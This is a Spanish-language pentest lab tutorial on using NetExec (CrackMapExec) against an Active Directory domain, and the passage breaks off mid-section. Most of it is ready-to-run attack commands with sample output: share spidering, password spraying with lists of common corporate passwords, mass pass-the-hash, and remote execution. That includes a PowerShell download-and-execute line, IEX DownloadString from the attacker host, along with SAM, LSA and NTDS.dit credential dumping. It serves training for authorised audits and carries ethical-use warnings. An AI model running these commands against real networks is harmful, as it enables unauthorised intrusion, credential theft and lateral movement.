GhostAcademy
Ghost AcademySecLearn// NETEXEC LAB
⚔ LABORATORIO OFENSIVO — SOLO ENTORNOS AUTORIZADOS
NetExec (CrackMapExec)
La Navaja Suiza de Active Directory
Enumeración SMB · Password Spraying · Pass-the-Hash Masivo · Ejecución Remota · Volcado de Credenciales · GhostAcademy
NetExecCrackMapExec SMBActive Directory Password SprayingPass-the-Hash KerberoastingBloodHound LDAPWinRM MSSQLOSCP
9EJERCICIOS
40+COMANDOS
8PROTOCOLOS
🔧
¿Qué es NetExec?
La navaja suiza del pentesting en Active Directory

NetExec (anteriormente conocido como CrackMapExec o CME) es un framework de post-explotación y auditoría de redes Windows corporativas. Es considerado la herramienta más completa y eficiente para evaluar la seguridad de entornos Active Directory. Viene preinstalada en Kali Linux y está incluida en el temario de certificaciones como OSCP, PNPT, CEH y eJPT.

Su potencia reside en combinar en un único comando: autenticación (usuario/contraseña, hash, ticket Kerberos), objetivo (IP, rango CIDR, lista de hosts), protocolo (SMB, WinRM, LDAP, SSH, MSSQL, FTP, RDP...) y acción (enumeración, ejecución, volcado de credenciales).

CrackMapExec fue discontinuado en 2023 tras controversias sobre su uso. NetExec es su fork oficial mantenido activamente por la comunidad, con la misma sintaxis y funcionalidad extendida.

⚠ USO ÉTICO Y LEGALNetExec debe usarse exclusivamente en entornos propios o con permiso escrito explícito del propietario. En un pentest real es imprescindible el contrato de auditoría firmado. Ejecutarlo contra redes corporativas sin autorización es un delito. Este laboratorio se realiza en un entorno de VMs aislado.
📂SMBRecursos, ejecución, hashes
📡WinRMPowerShell remoto
📊LDAPActive Directory
📋MSSQLSQL Server
💻SSHLinux remoto
🖼RDPEscritorio remoto
📈FTPArchivos FTP
✉SMTPCorreo
⚙
Instalación de NetExec
Disponible en Kali Linux y como paquete pip3
Instalar NetExec (nxc)
# En Kali Linux 2024+ viene preinstalado: nxc --version # Si no está instalado, instalar desde pip3 (recomendado): pipx install netexec # O directamente desde el repositorio oficial: git clone https://github.com/Pennyw0rth/NetExec.git cd NetExec pip3 install . # Verificar instalación y ver todos los protocolos: nxc --help nxc smb --help # NetExec acepta tanto 'nxc' como 'netexec' como comando: nxc smb 192.168.56.0/24 netexec smb 192.168.56.0/24
📌 CME vs NXCSi tienes la versión antigua de CrackMapExec instalada, el comando es cme o crackmapexec. La sintaxis es idéntica a NetExec. Este manual usa nxc (NetExec), pero todos los comandos funcionan igual con cme.
Entorno de laboratorio recomendado
# Máquinas necesarias (todas en red interna VirtualBox): # - Kali Linux (atacante, IP: 192.168.56.5) # - Windows Server 2019/2022 con Active Directory (DC, IP: 192.168.56.10) # - Windows 10/11 cliente del dominio (IP: 192.168.56.20) # # Dominio de laboratorio: CONTOSO.LOCAL # Credenciales de prueba: jdoe:Password123 # Usuario admin de dominio: Administrator:P@ssw0rd # # Para un lab completo y gratuito: # - GOAD (Game of Active Directory): github.com/Orange-Cyberdefense/GOAD # - Vulnerable AD: github.com/WazeHell/vulnerable-AD
📄
Sintaxis General de NetExec
Estructura del comando y parámetros universales

NetExec sigue siempre la misma estructura de comando, lo que lo hace muy consistente independientemente del protocolo que se use:

nxc <protocolo> <objetivo> [opciones de autenticación] [acción] protocolo : smb | winrm | ldap | mssql | ssh | rdp | ftp | smtp objetivo : IP | rango CIDR | lista de hosts | nombre de host auth : -u usuario -p password | -u usuario -H hash | --use-kcache (Kerberos) accion : --shares | --users | -x comando | --sam | --lsa | --module ...
📄PARÁMETROS DE AUTENTICACIÓN UNIVERSALES
ParámetroDescripciónEjemplo
-u usuarioNombre de usuario (o archivo con lista de usuarios)-u jdoe o -u users.txt
-p passwordContraseña (o archivo con lista)-p Password123 o -p pass.txt
-H hashNT Hash para Pass-the-Hash-H aad3b435b51404eeaad3b435b51404ee:NTHASH
-d DOMINIONombre del dominio Active Directory-d CONTOSO.LOCAL
--local-authAutenticar con cuenta local (no de dominio)--local-auth
--use-kcacheUsar ticket Kerberos del ccache actual--use-kcache
--sharesEnumerar recursos compartidos SMBnxc smb IP --shares
-x "cmd"Ejecutar comando CMD remoto-x "whoami"
-X "script"Ejecutar script PowerShell remoto-X "Get-Process"
--no-bruteforcePara spraying: solo probar cada user con cada pass una vez--no-bruteforce
--continue-on-successNo parar al encontrar credenciales válidas--continue-on-success
-t NNúmero de hilos paralelos (default: 100)-t 50
Interpretación de la salida de NetExec
# NetExec usa iconos de color en la salida: # [+] VERDE = Autenticacion EXITOSA (credencial valida) # [-] ROJO = Autenticacion FALLIDA # [*] AZUL = Informacion general # Pwn3d! = Admin local en la maquina (puede ejecutar comandos) # Ejemplo de salida tipica: # SMB 192.168.56.10 445 DC01 [*] Windows Server 2019 (name:DC01) (domain:CONTOSO.LOCAL) # SMB 192.168.56.10 445 DC01 [+] CONTOSO.LOCAL\jdoe:Password123 # SMB 192.168.56.20 445 WS01 [+] CONTOSO.LOCAL\jdoe:Password123 (Pwn3d!)
🌐
Protocolos Soportados y sus Casos de Uso
Cuándo usar cada protocolo en una auditoría
🌐GUÍA DE ELECCIÓN DE PROTOCOLO
ProtocoloPuertoMejor paraRequiere
smb445/TCPEnumeración general, recursos, ejecución, volcado SAM/LSACualquier cred. de dominio o local
winrm5985/TCPShell PowerShell interactiva, scriptsMiembro de Remote Management Users
ldap389/TCPEnumerar usuarios, grupos, GPOs, Kerberoast, BloodHoundCualquier cred. de dominio
mssql1433/TCPSQL Server: ejecución de comandos OS via xp_cmdshellCred. SQL o Windows
ssh22/TCPServidores Linux/Mac en el dominioCred. SSH
rdp3389/TCPVerificar acceso RDP, screenshot remotoMiembro Remote Desktop Users
ftp21/TCPServidores FTP, verificar credencialesCred. FTP
📊
Ejercicio 1 — Escaneo y Enumeración Inicial
Descubrir hosts, detectar el dominio y recopilar información básica
01
Reconocimiento
Identificar hosts Windows activos y extraer metadatos del entorno
ENUMERACIÓN
1
Descubrir hosts Windows en la redDESCUBRIMIENTO
Escaneo de red completo con NetExec
# Escanear toda una subred buscando hosts Windows con SMB nxc smb 192.168.56.0/24 # Salida esperada por cada host Windows encontrado: # SMB 192.168.56.10 445 DC01 [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:CONTOSO.LOCAL) (signing:True) (SMBv1:False) # SMB 192.168.56.20 445 WS01 [*] Windows 10.0 Build 19041 x64 (name:WS01) (domain:CONTOSO.LOCAL) (signing:False) (SMBv1:False) # Con lista de hosts desde archivo: nxc smb hosts.txt # Solo un rango especifico: nxc smb 192.168.56.10-50
💡 Fjate en el campo signing:True/False. SMB Signing deshabilitado (False) indica que ese host es vulnerable a ataques de SMB Relay. Es información crítica para priorizar objetivos en una auditoría.
2
Identificar el controlador de dominioDC DETECTION
Identificar el Domain Controller
# NetExec detecta autom&aacute;ticamente qu&eacute; host es el DC # El DC siempre tiene SMB Signing habilitado (True) y muestra el dominio # Via LDAP (m&aacute;s preciso para identificar DCs): nxc ldap 192.168.56.0/24 # Buscar explicitamente el DC por nombre de dominio: nxc smb 192.168.56.0/24 --gen-relay-list smb_no_signing.txt # Genera una lista de hosts SIN SMB signing (objetivos para relay)
3
Información detallada con null session (sin credenciales)SIN AUTH
Enumeración sin credenciales (null session)
# Intentar sin credenciales (null session - a veces funciona en entornos mal configurados) nxc smb 192.168.56.10 -u '' -p '' # Sesion anonima (guest) nxc smb 192.168.56.10 -u 'guest' -p '' # Ver que informacion se obtiene sin credenciales: # - Nombre del equipo # - Version de Windows # - Dominio # - SMB Signing # - SMBv1 habilitado o no
❓ Ejercicio práctico
Escanea la subred de tu laboratorio con NetExec SMB. ¿Cuántos hosts Windows encuentra? ¿Cuál es el Domain Controller? ¿Alguno tiene SMB Signing deshabilitado?
💡 Pista: nxc smb 192.168.56.0/24 --- Busca en la salida: signing:False (vulnerable a relay), y el host con dominio CONTOSO.LOCAL que es el DC
Ver solución
nxc smb 192.168.56.0/24 --- La salida muestra para cada host: nombre, Windows version, dominio, y el estado de SMB signing. El DC generalmente tiene signing:True. Los endpoints Windows 10/11 suelen tener signing:False por defecto en configuraciones estándar, haciendolos vulnerables a SMB relay.
📂
Ejercicio 2 — Enumeración de Recursos Compartidos SMB
Descubrir shares, permisos y archivos sensibles en la red
02
Enumeración SMB
Mapear todos los recursos compartidos accesibles y sus permisos de lectura/escritura
SMB SHARES
1
Enumerar todos los shares de un hostENUMERACIÓN BÁSICA
Listar recursos compartidos
# Enumerar shares con credenciales validas nxc smb 192.168.56.10 -u jdoe -p Password123 --shares # Salida esperada: # SMB 192.168.56.10 445 DC01 Share Permissions Remark # SMB 192.168.56.10 445 DC01 ----- ----------- ------ # SMB 192.168.56.10 445 DC01 ADMIN$ NO ACCESS Remote Admin # SMB 192.168.56.10 445 DC01 C$ NO ACCESS Default share # SMB 192.168.56.10 445 DC01 IPC$ READ Remote IPC # SMB 192.168.56.10 445 DC01 NETLOGON READ Logon server share # SMB 192.168.56.10 445 DC01 SYSVOL READ Logon server share # SMB 192.168.56.10 445 DC01 Data READ,WRITE Datos empresa # Enumerar shares en TODA la red: nxc smb 192.168.56.0/24 -u jdoe -p Password123 --shares
💡 SHARES CRÍTICOS A BUSCARSYSVOL/NETLOGON: Contienen GPOs y scripts de inicio de sesión, frecuentemente con credenciales. C$ y ADMIN$: Acceso completo al disco si el usuario es admin local. Shares personalizados: Pueden contener documentos con contraseñas, claves privadas, backups...
2
Buscar archivos sensibles en los shares accesiblesSPIDER
Buscar archivos sensibles en shares
# --spider : recorrer recursivamente el share buscando archivos # --pattern : patron de nombre de archivo a buscar nxc smb 192.168.56.10 -u jdoe -p Password123 --spider Data --pattern '.*' # Buscar archivos con extensiones sensibles: nxc smb 192.168.56.10 -u jdoe -p Password123 \ --spider Data \ --pattern '(password|passwd|cred|secret|key|config|backup)' # Con el modulo spider_plus (inventario en CSV): nxc smb 192.168.56.0/24 -u jdoe -p Password123 -M spider_plus
3
Enumerar SYSVOL buscando credenciales en GPOsGPO PASSWORDS
Buscar contraseñas en GPOs (GPP Passwords)
# Las antiguas GPP (Group Policy Preferences) guardaban contrasenas cifradas # con una clave AES publicada por Microsoft en 2012 (totalmente rota) # NetExec busca esto automaticamente en SYSVOL: nxc smb 192.168.56.10 -u jdoe -p Password123 -M gpp_password # Tambien buscar credenciales en autologin del registro: nxc smb 192.168.56.10 -u jdoe -p Password123 -M gpp_autologin # Si encuentra algo: # [+] Found credentials in GPP: # Username: svc_deploy # Password: D3pl0yP@ss!
✅ Las GPP Passwords (MS14-025) son un hallazgo clásico en auditorías: contraseñas de servicio almacenadas con cifrado roto en SYSVOL, accesible por cualquier usuario del dominio.
❓ Ejercicio práctico
Enumera los shares del Domain Controller de tu lab con las credenciales de un usuario estándar. ¿Qué shares son accesibles? ¿Tienes acceso de escritura en alguno? ¿Qué contiene SYSVOL?
💡 Pista: nxc smb IP_DC -u jdoe -p Password123 --shares --- Luego explora SYSVOL con --spider
Ver solución
nxc smb 192.168.56.10 -u jdoe -p Password123 --shares --- Un usuario de dominio estandar suele tener READ en IPC$, SYSVOL y NETLOGON. SYSVOL contiene los Group Policy Objects del dominio, scripts de inicio de sesion y potencialmente credenciales en GPP. Para explorar: nxc smb 192.168.56.10 -u jdoe -p Password123 --spider SYSVOL --pattern '.*'
👤
Ejercicio 3 — Enumeración de Usuarios y Grupos
Mapear el Active Directory: usuarios, grupos, políticas y más
03
Enumeración de AD
Extraer el mapa completo de usuarios y grupos del dominio
AD ENUM
1
Enumerar usuarios del dominioUSUARIOS
Listar usuarios del dominio
# Via RPC (SMB) nxc smb 192.168.56.10 -u jdoe -p Password123 --users # Via LDAP (mas info: descripcion, badpwdcount) nxc ldap 192.168.56.10 -u jdoe -p Password123 --users # Guardar lista para spraying: nxc smb 192.168.56.10 -u jdoe -p Password123 --users 2>/dev/null | grep CONTOSO | cut -d'\\' -f2 > users.txt
💡 Revisa el campo description. Es frecuente encontrar contrasenas escritas por administradores en la descripcion de cuentas de servicio.
2
Enumerar grupos del dominioGRUPOS
Listar grupos
# Grupos del dominio: nxc smb 192.168.56.10 -u jdoe -p Password123 --groups # Via LDAP: nxc ldap 192.168.56.10 -u jdoe -p Password123 --groups # Grupos criticos: # Domain Admins, Enterprise Admins, Backup Operators, Remote Desktop Users
3
Enumeracion avanzada via LDAPLDAP AVANZADO
AD LDAP avanzado
# AS-REP Roastable (sin pre-auth Kerberos): nxc ldap 192.168.56.10 -u jdoe -p Password123 --asreproast asrep.txt hashcat -m 18200 asrep.txt rockyou.txt # Kerberoastable (cuentas con SPN): nxc ldap 192.168.56.10 -u jdoe -p Password123 --kerberoasting kerb.txt hashcat -m 13100 kerb.txt rockyou.txt # BloodHound data collection: nxc ldap 192.168.56.10 -u jdoe -p Password123 --bloodhound --collection All # Password policy del dominio: nxc smb 192.168.56.10 -u jdoe -p Password123 --pass-pol
❓ Ejercicio práctico
Enumera los usuarios del dominio y busca cuentas con informacion sensible en la descripcion. Luego extrae la lista de usuarios para el siguiente ejercicio de Password Spraying.
💡 Pista: nxc ldap IP -u user -p pass --users --- Filtra la salida para obtener solo los nombres
Ver solución
nxc ldap 192.168.56.10 -u jdoe -p Password123 --users --- Un usuario estandar puede enumerar todos los usuarios del dominio. Revisa las descripciones: nxc smb ... --users | grep -i 'pass\|pwd\|secret\|cred'
🔴
Ejercicio 4 — Password Spraying
Probar una contraseña contra múltiples usuarios sin bloquear cuentas
04
Password Spraying
Una contraseña, muchos usuarios: técnica precisa para evitar bloqueos de cuenta
SPRAYING

El Password Spraying es la técnica opuesta a la fuerza bruta: en lugar de probar muchas contraseñas contra un usuario (lo que activa el bloqueo de cuenta), probamos una sola contraseña contra muchos usuarios. Como nunca superamos el umbral de intentos fallidos por cuenta, evitamos los bloqueos.

La clave del éxito es elegir contraseñas probables: nombre de empresa + año, estaciones del año + número, o cualquier patrón que cumpla la política de contraseñas del dominio.

⚠ RIESGO DE BLOQUEO DE CUENTASAntes de hacer spraying, SIEMPRE consulta la política de contraseñas: nxc smb IP -u user -p pass --pass-pol. Si hay umbral de bloqueo en 3 intentos y haces 2 rounds de spraying con la misma cuenta, al tercero se bloquea. Respeta siempre un margen de al menos 2 intentos por debajo del umbral.
1
Verificar la política de contraseñas antes de empezarIMPRESCINDIBLE
Obtener la política de bloqueo del dominio
# PASO OBLIGATORIO antes de cualquier spraying: nxc smb 192.168.56.10 -u jdoe -p Password123 --pass-pol # Salida a analizar: # [+] Dumping password policy: # Minimum password length: 8 # Password history length: 24 # Maximum password age: 42 days # Minimum password age: 1 days # Password Complexity Flags: ON # Lockout threshold: 5 <-- Maximo intentos fallidos antes de bloqueo # Lockout duration: 30 min <-- Cuanto dura el bloqueo # Lockout observation window: 30 min # # Regla: si lockout=5, haz maximo 2-3 intentos por usuario por ventana de tiempo
2
Password Spraying básicoSPRAYING BÁSICO
Spraying con una contraseña contra lista de usuarios
# Spray con una sola contrasena contra todos los usuarios: nxc smb 192.168.56.10 -u users.txt -p 'Password123' --no-bruteforce # --no-bruteforce = probar cada usuario con cada password UNA SOLA VEZ # (evita que haga usuario1:pass1, usuario1:pass2, usuario2:pass1...) # Spray contra TODA la red (todos los hosts a la vez): nxc smb 192.168.56.0/24 -u users.txt -p 'Empresa2024!' --no-bruteforce # Spray con varias contrasenas (maximo lockout-2): nxc smb 192.168.56.10 -u users.txt -p passwords.txt --no-bruteforce # Salida cuando encuentra algo: # SMB DC01 [+] CONTOSO\svc_backup:Summer2024! <-- CREDENCIAL VALIDA # SMB DC01 [+] CONTOSO\helpdesk:Password123 (Pwn3d!) <-- ADMIN LOCAL!
✅ Credenciales válidas encontradas. Las marcadas con (Pwn3d!) tienen privilegios de administrador local en ese equipo.
3
Contraseñas más efectivas en entornos corporativosCANDIDATOS
Patrones de contraseña comunes en empresas
# Las contrasenas corporativas mas frecuentes siguen estos patrones: # (para usar en spraying contra entornos de prueba propios) # Patrones estacionales: 'Winter2024!' 'Spring2024!' 'Summer2024@' 'Autumn2024#' # Nombre empresa + ano: 'Empresa2024' 'Contoso2024!' 'Company123!' # Patrones de cumplimiento minimo: 'Welcome1!' 'Password1!' 'Changeme1!' 'ChangeMe123' 'Admin2024!' # Contrasenas de primeros 90 dias: 'Temp1234!' 'Initial123!' 'FirstLogin1!'
💡 INTELIGENCIA DE FUENTES ABIERTASEn una auditoría real, busca en LinkedIn el nombre exacto de la empresa, su año de fundación, el dominio del correo corporativo y el nombre del CISO. Con eso construye un diccionario personalizado con Crunch (ver el manual de Crunch de GhostAcademy) antes de hacer spraying.
4
Continuar después de encontrar credencialesENUM CONTINUA
Expandir el acceso tras credenciales válidas
# Una vez que encontramos credenciales validas, reutilizarlas: nxc smb 192.168.56.0/24 -u svc_backup -p 'Summer2024!' --shares # Ver si es admin local en algun equipo: nxc smb 192.168.56.0/24 -u svc_backup -p 'Summer2024!' # Buscar '(Pwn3d!)' en la salida # Intentar con esa cuenta en otros protocolos: nxc winrm 192.168.56.0/24 -u svc_backup -p 'Summer2024!' nxc rdp 192.168.56.0/24 -u svc_backup -p 'Summer2024!' nxc ldap 192.168.56.10 -u svc_backup -p 'Summer2024!' # Guardar credenciales validas en el informe: nxc smb 192.168.56.0/24 -u users.txt -p 'Summer2024!' --no-bruteforce 2>&1 | \ grep '\[+\]' >> credenciales_validas.txt
❓ Ejercicio práctico
La política de contraseñas del dominio tiene umbral de bloqueo en 5 intentos y ventana de 30 minutos. Tienes 200 usuarios. ¿Cuántas contraseñas puedes probar por ronda de spraying? ¿Con qué frecuencia?
💡 Pista: Regla de oro: umbral - 2. Si bloquea a los 5 intentos, nunca hagas más de 3 por usuario por ventana.
Ver solución
Maximo 3 intentos por ronda (5 - 2 de margen de seguridad). Cada ronda debe estar separada por 30 minutos (la ventana de observacion). Con 200 usuarios y 3 contrasenas por ronda, necesitas 3 rondas de spraying separadas 30 minutos cada una. Planificacion: Round 1: contrasena1 contra todos --- esperar 30 min --- Round 2: contrasena2 contra todos --- esperar 30 min --- Round 3: contrasena3 contra todos.
🔒
Ejercicio 5 — Pass-the-Hash Masivo
Usar NT hashes capturados para autenticarse en todos los hosts de la red
05
Pass-the-Hash
Reutilizar hashes NTLM en toda la red para descubrir dónde tiene acceso cada cuenta
PASS-THE-HASH

Después de extraer hashes NTLM (de una SAM local, del NTDS.dit del DC, o de Mimikatz), NetExec permite probar esos hashes en toda la red simultáneamente para descubrir qué equipos aceptan esas credenciales. Es especialmente efectivo cuando se encuentran hashes de cuentas de administradores locales compartidas entre múltiples equipos.

1
Pass-the-Hash contra un hostPtH BÁSICO
PtH contra un host con NT hash
# Formato del hash: LMhash:NThash # (el LM hash suele ser el estandar vacio: aad3b435b51404eeaad3b435b51404ee) # PtH basico contra un host: nxc smb 192.168.56.20 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c # Forma abreviada (solo el NT hash, sin el LM): nxc smb 192.168.56.20 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c # Con dominio especificado: nxc smb 192.168.56.20 -u Administrator -H NTHASH -d CONTOSO.LOCAL # Con cuenta local (no de dominio): nxc smb 192.168.56.20 -u Administrator -H NTHASH --local-auth
2
Pass-the-Hash masivo en toda la redPtH MASIVO
PtH en toda la subred a la vez
# El verdadero poder de NetExec: probar el hash en TODOS los hosts # Descubrir donde es admin local la cuenta comprometida nxc smb 192.168.56.0/24 -u Administrator -H NTHASH --local-auth # Si el hash es del Administrador local y la contrasena es la misma # en varios equipos (frecuente antes de LAPS), Pwn3d! aparecer&aacute; en todos # Con cuenta de dominio: nxc smb 192.168.56.0/24 -u jdoe -H NTHASH # Con lista de hashes (varios usuarios a la vez): nxc smb 192.168.56.0/24 -u users.txt -H hashes.txt --no-bruteforce # Salida cuando tiene acceso admin: # SMB 192.168.56.20 WS01 [+] CONTOSO\Administrator:HASH (Pwn3d!) # SMB 192.168.56.30 WS02 [+] CONTOSO\Administrator:HASH (Pwn3d!) # -> Mismo admin local en 2 equipos (sin LAPS)
✅ (Pwn3d!) en múltiples hosts indica que la misma cuenta admin local existe en todos esos equipos — escenario sin LAPS, común en organizaciones que no han aplicado Local Administrator Password Solution.
3
Calcular NT hash desde contraseñaUTILIDADES
Calcular NT hash para usar en PtH
# Calcular NT hash desde una contrasena conocida: python3 -c " import hashlib pwd = 'Password123' nt_hash = hashlib.new('md4', pwd.encode('utf-16le')).hexdigest() print('NT Hash:', nt_hash) " # Con impacket: python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \ -just-dc-ntlm CONTOSO.LOCAL/Administrator:P@ssw0rd@192.168.56.10 # Una vez que tienes el NT hash, usarlo directamente: nxc smb 192.168.56.0/24 -u Administrator -H NTHASH --local-auth
📌 LAPS (Local Administrator Password Solution)Si la organización tiene LAPS configurado, cada equipo tiene un password único para el administrador local, lo que previene el movimiento lateral horizontal. NetExec puede leer las contraseñas LAPS si tienes permisos suficientes: nxc ldap IP -u admin -p pass -M laps
❓ Ejercicio práctico
Has capturado el NT hash del usuario 'svc_backup' con Mimikatz. Usa NetExec para descubrir en qué equipos de la red tiene acceso de administrador local ese hash. ¿Qué indica si aparece (Pwn3d!) en varios equipos?
💡 Pista: nxc smb 192.168.56.0/24 -u svc_backup -H NTHASH --- Observa los resultados [+] y busca (Pwn3d!)
Ver solución
nxc smb 192.168.56.0/24 -u svc_backup -H <NT_HASH> --- Si aparece (Pwn3d!) en varios equipos, indica que la cuenta tiene privilegios de administrador local en esos sistemas, posiblemente porque es la misma cuenta de servicio instalada en múltiples equipos. Esto permite movimiento lateral horizontal sin necesidad de credenciales adicionales.
🛠
Ejercicio 6 — Ejecución Remota de Comandos
Ejecutar comandos y scripts en equipos remotos de forma masiva
06
Ejecución remota
Desde enumeración hasta shell interactiva en hosts comprometidos
EXEC
1
Ejecutar comandos CMD remotos con -xCMD REMOTO
Ejecución de comandos CMD remotos
# -x ejecuta un comando CMD en el sistema remoto nxc smb 192.168.56.20 -u jdoe -p Password123 -x 'whoami' nxc smb 192.168.56.20 -u jdoe -p Password123 -x 'ipconfig /all' nxc smb 192.168.56.20 -u jdoe -p Password123 -x 'net user' # En TODA la red a la vez: nxc smb 192.168.56.0/24 -u Administrator -H NTHASH -x 'whoami /all' # Salida: # SMB WS01 [+] CONTOSO\jdoe:Password123 (Pwn3d!) # SMB WS01 [*] NT AUTHORITY\SYSTEM <-- Resultado del comando
2
Ejecutar scripts PowerShell con -XPOWERSHELL REMOTO
Ejecución de scripts PowerShell
# -X ejecuta PowerShell (mas potente que CMD) nxc smb 192.168.56.20 -u Administrator -H NTHASH -X 'Get-Process | Select-Object Name,CPU | Sort CPU -Descending | Select -First 10' # Ver usuarios locales: nxc smb 192.168.56.20 -u Administrator -H NTHASH -X 'Get-LocalUser' # Ver grupos locales: nxc smb 192.168.56.20 -u Administrator -H NTHASH -X 'Get-LocalGroupMember Administrators' # Descargar y ejecutar script remoto (laboratorio propio): nxc smb 192.168.56.20 -u Administrator -H NTHASH \ -X 'IEX(New-Object Net.WebClient).DownloadString("http://192.168.56.5/script.ps1")' # En toda la red: nxc smb 192.168.56.0/24 -u Administrator -H NTHASH \ -X 'Get-LocalGroupMember Administrators | Select-Object Name'
3
Métodos de ejecución y evasionMÉTODOS EXEC
Elegir el metodo de ejecucion remota
# NetExec soporta varios metodos de ejecucion (--exec-method): # wmiexec (default): usa WMI, genera menos logs en el disco nxc smb 192.168.56.20 -u Administrator -H NTHASH -x 'whoami' --exec-method wmiexec # smbexec: escribe un servicio en el registro, mas ruidoso nxc smb 192.168.56.20 -u Administrator -H NTHASH -x 'whoami' --exec-method smbexec # atexec: usa el programador de tareas (Task Scheduler) nxc smb 192.168.56.20 -u Administrator -H NTHASH -x 'whoami' --exec-method atexec # mmcexec: usa DCOM MMC nxc smb 192.168.56.20 -u Administrator -H NTHASH -x 'whoami' --exec-method mmcexec # Recomendacion para laboratorio: wmiexec (menos artefactos en el sistema)
4
Abrir shell interactiva con netexecSHELL INTERACTIVA
Obtener shell interactiva
# NetExec puede lanzar Evil-WinRM o impacket para shell interactiva # Via WinRM (si el servicio esta activo): nxc winrm 192.168.56.20 -u Administrator -H NTHASH # [+] CONTOSO\Administrator NTHASH (Pwn3d!) # Luego conectar con evil-winrm: evil-winrm -i 192.168.56.20 -u Administrator -H NTHASH # Via SMB con impacket psexec: python3 /usr/share/doc/python3-impacket/examples/psexec.py \ -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 # Via WMI con wmiexec: python3 /usr/share/doc/python3-impacket/examples/wmiexec.py \ -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20
❓ Ejercicio práctico
Usa NetExec para ejecutar el comando 'net localgroup administrators' en todos los equipos de la red donde tienes acceso de administrador local. ¿Qué información te proporciona este comando?
💡 Pista: nxc smb RANGO -u admin -H HASH -x 'net localgroup administrators' --- (Pwn3d!) es necesario para que el comando se ejecute
Ver solución
nxc smb 192.168.56.0/24 -u Administrator -H NTHASH -x 'net localgroup administrators' --- Este comando muestra todos los miembros del grupo Administrators local en cada equipo. Permite descubrir: qué cuentas de dominio tienen admin local (posible movimiento lateral), si hay cuentas inesperadas o backdoors, y si LAPS esta gestionando la cuenta Administrator.
🧰
Ejercicio 7 — Volcado de Secretos y Credenciales
Extraer hashes SAM, LSA Secrets, NTDS.dit y credenciales de LSASS
07
Volcado de credenciales
Extraer todos los secretos almacenados en sistemas comprometidos
DUMP
📌 CONTEXTOEl volcado de credenciales es la fase de post-explotación más valiosa: los hashes obtenidos pueden usarse para Pass-the-Hash en otros sistemas, o crackearse con Hashcat para obtener las contraseñas en texto plano.
1
Volcar la SAM local (hashes de cuentas locales)SAM DUMP
Volcar SAM con NetExec
# --sam : vuelca la base de datos SAM (Security Account Manager) # Contiene los hashes NT de todas las cuentas locales del equipo # Requiere privilegios de administrador local (Pwn3d!) nxc smb 192.168.56.20 -u Administrator -H NTHASH --sam # En toda la red: nxc smb 192.168.56.0/24 -u Administrator -H NTHASH --local-auth --sam # Salida tipica: # SMB WS01 [+] Dumping local SAM hashes (uid:rid:lmhash:nthash) # SMB WS01 Administrator:500:aad3b435b51404ee...:8846f7eaee8fb117...::: # SMB WS01 Guest:501:aad3b435b51404ee...:31d6cfe0d16ae9...::: # SMB WS01 jdoe:1001:aad3b435b51404ee...:a87f3a337d73085...::: # Los hashes se guardan automaticamente en: # ~/.nxc/logs/SAM/
2
Volcar LSA Secrets (credenciales de servicios)LSA SECRETS
Volcar LSA Secrets
# --lsa : vuelca los LSA Secrets # Contiene: contrasenas de servicios de Windows, credenciales de cuentas # de servicio, claves de cifrado de DPAPI, y en ocasiones contrasenas # de cuentas de dominio cacheadas nxc smb 192.168.56.20 -u Administrator -H NTHASH --lsa # En toda la red: nxc smb 192.168.56.0/24 -u Administrator -H NTHASH --local-auth --lsa # Salida tipica: # SMB WS01 [+] Dumping LSA secrets # SMB WS01 CONTOSO\svc_backup:P@ssw0rdBackup! <-- CONTRASENA EN CLARO! # SMB WS01 CONTOSO\WS01$:machineaccountpassword <-- Cuenta de maquina
💡 Las LSA Secrets frecuentemente contienen contraseñas de cuentas de servicio en texto plano. Si una cuenta de servicio tiene privilegios elevados en el dominio, este volcado puede ser el camino directo a Domain Admin.
3
Volcar el NTDS.dit del Controlador de DominioNTDS DUMP
Volcar el NTDS.dit (todos los hashes del dominio)
# --ntds : vuelca el NTDS.dit del Domain Controller # Contiene los hashes NT de TODOS los usuarios del dominio # Solo funciona en el DC y requiere ser Domain Admin o Backup Operator # Via DCSync (el metodo mas silencioso, no toca el disco del DC): nxc smb 192.168.56.10 -u Administrator -p P@ssw0rd --ntds # O con el modulo ntds (alternativa): nxc smb 192.168.56.10 -u Administrator -p P@ssw0rd -M ntds # Salida (solo los primeros usuarios del dominio): # SMB DC01 [+] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) # SMB DC01 Administrator:500:aad3b435...:a87f3a337d73085c3...::: # SMB DC01 krbtgt:502:aad3b435...:9d765b482b2678f4...::: # SMB DC01 jdoe:1104:aad3b435...:8846f7eaee8fb117...::: # ...(todos los usuarios del dominio) # Los resultados se guardan en: # ~/.nxc/logs/NTDS/
✅ El NTDS.dit contiene los hashes de TODOS los usuarios del dominio. Con el hash de krbtgt se puede crear un Golden Ticket. Es la joya de la corona en un pentest de Active Directory.
❓ Ejercicio práctico
Vuelca la SAM local de todos los equipos donde tienes acceso de administrador con Pass-the-Hash. ¿Dónde se guardan automáticamente los resultados? ¿Cómo usarías los hashes obtenidos?
💡 Pista: nxc smb RANGO -u Administrator -H HASH --local-auth --sam --- Los resultados se guardan en ~/.nxc/logs/
Ver solución
nxc smb 192.168.56.0/24 -u Administrator -H NTHASH --local-auth --sam --- Los resultados se guardan en ~/.nxc/logs/SAM/ con el nombre de cada equipo. Los hashes obtenidos pueden usarse para: (1) Pass-the-Hash en otros sistemas de la red, (2) Cracking offline con Hashcat -m 1000, (3) Identificar cuentas compartidas entre máltiples equipos (movimiento lateral horizontal).
📡
Ejercicio 8 — WinRM y LDAP
Shell PowerShell remota y enumeración avanzada de Active Directory
1
Acceso via WinRM (PowerShell remoto)WINRM
WinRM con NetExec
# Verificar si WinRM esta activo y tenemos acceso: nxc winrm 192.168.56.0/24 -u jdoe -p Password123 # [+] Pwn3d! significa que puedes ejecutar PowerShell remoto # Ejecutar comando PowerShell via WinRM: nxc winrm 192.168.56.20 -u jdoe -p Password123 -x 'whoami' # Para una shell interactiva completa (evil-winrm): evil-winrm -i 192.168.56.20 -u jdoe -p Password123 # o con hash: evil-winrm -i 192.168.56.20 -u jdoe -H NTHASH # WinRM sobre HTTPS (puerto 5986): nxc winrm 192.168.56.20 -u jdoe -p Password123 --port 5986
2
Enumeración LDAP avanzadaLDAP AD ENUM
Enumeracion LDAP del Active Directory
